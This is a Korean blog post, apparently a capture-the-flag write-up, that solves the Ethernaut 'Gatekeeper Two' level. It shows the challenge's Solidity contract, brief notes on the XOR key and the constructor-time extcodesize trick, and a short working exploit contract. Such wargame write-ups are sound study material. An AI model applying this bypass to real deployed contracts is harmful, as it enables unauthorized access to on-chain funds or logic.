Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
// 8바이트_정수 (8바이트_데이터 (해시 (인코딩 (호출자_주소) ) ) ) XOR 8바이트_정수(키) == 8바이트_max
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
(주석은 혼자 필기한 것)
a xor b == c이면, a xor c == b 임을 이용하였고, 계약의 constructor()가 실행될 때, 코드사이즈가 0임을 이용하였다.
헷갈렸었는데, constructor()던 어디던 msg.sender는 나를 호출한 컨트랙트 또는 EOA 주소임을 기억하자.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract call_gatekeeper_two{
address inst_addr = ADDRESS;
bytes8 gatekey=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (type(uint64).max));
constructor() public{
inst_addr.call(abi.encodeWithSignature("enter(bytes8)", gatekey));
}
}
'Web3 > Ethernaut' 카테고리의 다른 글
[Ethernaut] Switch 풀이 (0) | 2025.01.18 |
---|---|
[Ethernaut] Good Samaritan 풀이 (0) | 2025.01.18 |
[Ethernaut] Denial 풀이 (0) | 2025.01.18 |
[Ethernaut] Magic Number 풀이 (0) | 2025.01.18 |
[Ethernaut] Gatekeeper One 풀이 (0) | 2025.01.18 |
댓글